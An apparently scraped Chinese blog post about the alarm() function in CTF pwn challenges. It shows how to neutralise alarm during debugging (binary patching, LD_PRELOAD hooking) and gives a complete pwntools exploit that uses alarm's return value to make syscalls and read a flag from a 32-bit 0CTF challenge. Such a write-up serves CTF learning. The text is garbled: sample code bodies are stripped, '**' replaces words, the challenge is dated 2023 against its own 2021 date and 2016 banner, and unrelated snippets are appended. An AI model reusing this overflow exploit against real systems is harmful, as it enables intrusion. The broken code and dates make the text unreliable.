ctf pwn題之alarm函式

2021-10-12 04:00:28 字數 4217 閱讀 6138

alarm()在解題中的妙用

總結

如上圖所示,在做一些pwn題的時候,我們有時會遇到alarm(0xau)函式。alarm函式中的引數0xau是十六進製制無符號數,即十進位制對應10,所以該函式的作用是在程式執行10秒後,給程序傳送sigalrm訊號,如果不另編寫程式接受處理此訊號,則預設結束此程式。所以執行此樣本10秒後的截圖如下所示,程式結束時提示alarm clock:

知道什麼是alarm(),那麼為啥要設定此函式?當然一方面原因是因為比賽時遠端連線伺服器做題,官方也不希望隊伍長時間解不出題但卻占用了伺服器資源,所以會設定alarm()函式。二來此函式設定後會對我們進行程式動態除錯產生一點影響,不過問題不大,下面就講如何關閉alarm()函式。

關閉alarm函式最簡單的思路就是替換掉程式中的alarm()函式,我們可以直接在可執行程式文字中進行替換,替換的原則是函式名字節長度要一樣,且替換後不影響程式功能。我們一般使用isnan()函式進行替換,該函式檢查傳入的引數是不是非數值(not a number),程式名字長度相同且替換後不影響程式功能。

下面介紹具體操作,第一種方法是在命令列直接替換可執行程式文字中的alarm(),如下面**所示:

# 將程式名為programmname中的alarm替換為isnan

>

sed -i s/alarm/isnan/g ./programmname

vim ./programmname
開啟後直接輸入/alarm進行搜尋,如下圖所示:

找到後回車,按下i進行編輯,更改為isnan:

這裡介紹第三種方法:使用hook,其原理是讓程式執行時先載入自己編寫和編譯的偽鏈結庫,這樣程式中的函式將會被動態鏈結為我們自己定義的函式。下面講解詳細的操作過程,注意這種方法只對動態鏈結的程式才有效。

按照下面的**準備幾個檔案:test.c 、hook.c,如何編譯對應檔案已經寫在了注釋裡面。

// test.c

// gcc test.c -o test -m32

#include

#include

intmain

(void

)

// hook.c

// gcc hook.c -o hook.so -shared -fpic -m32

#include

unsigned

intalarm

(unsigned

int seconds)

編譯好後,使用file命令檢視二進位制檔案資訊,可以發現都為32位程式,動態鏈結。想測試64位的話,去掉編譯選項-m32就行,這裡不再贅述。

接下來按照下面給出的命令在終端執行操作,hook結果如下圖所示。我們在hook.c檔案中將alarm函式的具體功能更改為printf輸出,然後hook測試程式,可以看到測試程式的alarm功能已經發生了改變,列印出了傳遞進去的引數。

# hook方法

# ld_preload指明載入的鏈結庫,然後再執行程式

接下來介紹2023年0ctf中的一道pwn題,遠端環境可以在buuctf上找到,該題目需要利用alarm函式的特性,然後實現系統呼叫獲取flag。

首先分析一下題目,該題目本身是32位的,只開啟了nx保護,**短小,根據邏輯恢復函式名後如下截圖所示,在start函式裡先呼叫了alarm函式,然後呼叫了write列印資訊,之後進入到func函式裡面。

如下圖所示,func函式裡面存在明顯的棧溢位漏洞。

這道題**片段十分少,不存在got表,也就無法洩露libc,然後檢視彙編**,可以發現所有函式都是採用系統呼叫的方式實現的,因此我們也可以考慮用系統呼叫的方式獲取shell或者直接拿到flag。想要實現系統呼叫,主要目的是控制eax暫存器的值,這裡的技巧是利用alarm函式再次呼叫會返回前一次alarm設定的剩餘時間,以此來控制eax暫存器。舉例如下:

#include

#include

intmain()

下面是該pwn題的完整exp,主要思路是利用alarm來實現open系統呼叫,讀取flag檔案,然後再呼叫read讀取內容到指定記憶體區域,最後通過write列印出來。那麼為啥不直接利用alarm實現execve的系統呼叫呢?其實也可以嘗試,這裡可以控制eax的值為execve的系統呼叫號,但是由於溢位長度限制等原因,剩下的三個引數就不太好控制。

from pwn import

*p = process(

"./warmup"

)# p = remote("node3.buuoj.cn", 29192)

# context.log_level = "debug"

alarm =

0x0804810d

read =

0x0804811d

addr =

0x080491bc

func =

0x0804815a

mov_int_0x80 =

0x08048122

write =

0x08048135

# write "flag"

p.recvuntil(

"welcome to 0ctf 2016!"

)pad = cyclic(

0x20

)+p32(read)

+p32(func)

pad += p32(0)

+p32(addr)

+p32(

0x8)

p.send(pad)

p.send(

"flag\x00\x00\x00\x00"

)# open flag file

p.recvuntil(

"good luck!"

)sleep(5)

pad = cyclic(

0x20

)+p32(alarm)

+p32(mov_int_0x80)

pad += p32(func)

+p32(addr)

+p32(0)

p.send(pad)

# read flag content

p.recvuntil(

"good luck!"

)pad = cyclic(

0x20

)+p32(read)

+p32(func)

pad += p32(3)

+p32(addr)

+p32(

0x50

)p.send(pad)

# write flag content

p.recvuntil(

"good luck!"

)pad = cyclic(

0x20

)+p32(write)

+p32(func)

pad += p32(1)

+p32(addr)

+p32(

0x50

)p.send(pad)

p.interactive(

)

不忘初心,砥礪前行!

linux C之alarm函式 更改

alarm也稱為鬧鐘函式,alarm 用來設定訊號sigalrm在經過引數seconds指定的秒數後傳送給目前的程序。如果引數seconds為0,則之前設定的鬧鐘會被取消,並將剩下的時間返回。要注意的是,乙個程序只能有乙個鬧鐘時間,如果在呼叫alarm之前已設定過鬧鐘時間,則任何以前的鬧鐘時間都被新...

linux C之alarm函式 更改

alarm也稱為鬧鐘函式,alarm 用來設定訊號sigalrm在經過引數seconds指定的秒數後傳送給目前的程序。如果引數seconds為0,則之前設定的鬧鐘會被取消,並將剩下的時間返回。要注意的是,乙個程序只能有乙個鬧鐘時間,如果在呼叫alarm之前已設定過鬧鐘時間,則任何以前的鬧鐘時間都被新...

訊號之alarm和pause函式

使用alarm函式可以設定乙個計時器,在將來某個指定的時間,該計時器會超時。當計時器超時時,產生sigalrm訊號。如果不忽略或不捕捉此訊號,則其預設動作是終止呼叫該alarm函式的程序。include unsigned int alarm unsigned int seconds 返回值 0或以前...